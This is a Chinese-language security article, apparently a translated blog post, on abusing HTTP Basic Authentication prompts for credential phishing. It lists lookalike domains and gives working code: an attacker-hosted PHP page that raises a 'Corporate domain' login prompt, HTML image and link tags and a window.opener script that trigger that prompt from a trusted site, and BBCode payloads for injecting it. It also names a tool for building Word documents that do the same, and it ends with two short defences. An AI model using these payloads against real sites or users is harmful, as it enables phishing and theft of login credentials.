导语:Responde是一款强大并且简单易用的内网渗透神器,使用它的“基本身份验证”提示可以用来在Web浏览器中偶尔输入无效域时窃取用户凭据。

confused-idea-lightbulb.png

之前的一篇文章中,我介绍了一款非常受欢迎的工具——Responder,它是一款强大并且简单易用的内网渗透神器。使用它的“基本身份验证”提示来在Web浏览器中偶尔输入无效域时窃取用户凭据。

应该说,Responder的方法是相当不错的,它在捕获和响应当前域的DNS请求时非常给力。但是经过一段时间的研究,我认为基本身份验证的方法如果被用于网络钓鱼,则攻击效率更加突出。

我之所以最喜欢基本认证,就是因为从来没有人知道谁在对你认证,认证在哪里结束。这种认证的混乱通常会使用户陷入简单的网络钓鱼攻击,从而允许攻击者轻松收集用户登录凭据。因为,一旦服务器知道了用户的身份,就可以判定用户可以访问事务和资源了;通常通过用户名和密码。

用户应该能够基于2个安全指标来确定基本身份验证请求是否是真实的:

1.请求身份验证的实体的IP地址或域,不过,这通常不能帮助用户进行判别,因为攻击者也可以注册类似于可信域的域名。例如,当尝试盗取targetdomain.com的凭据时,攻击者可以注册类似的域:

targetdomain.co/.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com

2. ”realm”认证参数,不过这是一个可以由攻击者提供的任意字符串。根据上下文,简单的字符串可能会欺骗用户,让用户认为基本的身份验证提示是真实的:

网络代理身份验证要求;
长时间的没有操作而退出登录,如要再操作还需再次登录。

说了这么多理论,让我举几个例子,其中基本的身份验证提示可能真的让用户感到困惑。假设targetdomain.com是一个真正的网站,攻击者可以简单地注册并控制target-domain.com,,一个可能会被一些用户混淆的网站。

1.通过滥用HTML图像标签获取基本身份验证提示

如果攻击者可以向网站添加HTML 图像标签,并引用攻击者控制的域的图像,则攻击者可以在加载图像之前强制执行基本验证提示。以下有一个简短的演示:

targetdomain.com/image.html是一个包含第三方网站图片的网页:target-domain.com。

<html>
    <body>
 
Just a funny cat image
 
        <img src="http://target-domain.com/basicauth.php" alt="Could not load image - Invalid credentils."/>
    </body>
</html>

target-domain.com/basicauth.php是一个访问后需要基本身份验证的第三方页面。

<?php $valid_passwords = array ("security" => "cafe");
$valid_users = array_keys($valid_passwords);
 
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";
 
$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);
 
if (!$validated) {
  header('WWW-Authenticate: Basic realm="Corporate domain"');
  //header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}
 
// If the user enters valid credentials, just show him a cat picture
 
header("Location: https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")
 
?>

因此,由第三方网站上托管的图像生成基本验证提示。可以肯定的是,在基本认证提示中输入的任何凭据将被发送到第三方网站。目前,基本身份验证提示只存在于Firefox和IE上,而Chrome不会显示。

3.png

2.打开URL时获取基本身份验证提示

如果攻击者可以将HTML锚点添加到网站,并添加到第三方网站的链接,则攻击者可以向第三方网站添加基本身份验证,并在导航发生之前提示用户。

targetdomain.com/link.html是一个包含指向第三方网站的链接的页面:

<html>
    <body>
 
A cool website you should visit: <a href="http://target-domain.com/basicauth.php">Click me!</a>
 
    </body>
</html>

因此,当主机页面和URL仍然显示给用户时,基本身份验证提示将显示在加载新URL之前。基本认证提示只在Firefox和IE中显示,而Chrome会在显示之前卸载主机页面并更新地址栏。

5.png

3.在新选项卡中打开URL时获取基本身份验证提示

如果导航发生在新选项卡中,则基本身份验证提示可以通过利用window.opener来显示在初始选项卡中。

targetdomain.com/newtab.html是一个包含将在新标签页中打开的链接的页面:

<html>
    <body>
 
Another cool website you should visit: <a href="http://target-domain.com/landingpage.html" target="_blank">Click me!</a>
 
    </body>
</html>

target-domain.com/landingpage.html是一个将使用者重定向到需要基本身份验证网址的页面:

<html>
    <head>
        <title>Nothing here</title>
    </head>
    <body>
        <script>
            window.opener.location="http://target-domain.com/basicauth.php";
        </script>
    </body>
</html>

因此,当主机页面和URL仍显示给用户时,基本身份验证提示将显示在加载新URL的选项卡中。基本认证提示只在Firefox和IE中显示,而Chrome在卸载主机页面并更新地址栏之后,才会显示基本认证提示。

8.png

4.获取Word文档中的基本身份验证提示

如果文档包含引用第三方网站的图像模板,则基本身份验证提示可能会出现在Word文档中。这样的文件可以通过电子邮件或公共网站向受害者提供,这对攻击者来说非常方便。此外,使用Phishery可以自动创建这样的WORD文档的过程。

9.jpg

以上只是我碰到的一些实例,其中基本认证提示以令人困惑的方式显示给最终用户。这些例子都是在实际生活中随处可见,比如博客,论坛,协作平台,电子学习平台都有允许用户添加定制内容的选项,包括图像和链接。任何带有文本编辑器的网站,允许bb代码(或类似的标记)很容易受到这样的网络钓鱼攻击:

[img]http://target-domain.com/basicauth.php[/img]
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
[url]http://target-domain.com/basicauth.php[/url]
... and many more examples

防止此类攻击的两个方法如下:

1.不允许用户到你的网站去添加图像和链接;
2.可以过滤不需要的基本身份验证提示,将所有外部资源与本地URL进行封装(类似于Facebook的URL封装)。
虽然第一个建议可能会超出许多网站的安全防护目的,但第二个建议可能很难在定制平台上实现和维护。

如果你想在这个问题上有更多了解,试着调查一下移动设备上发生的身份验证行为。出于可用性的考虑,移动浏览器在安全性方面做了很多妥协,比如,允许更换地址栏中的URL的页面标题,显示SSL证书的细节,几乎不会查看当前页面的源码等。

源链接

Hacking more

...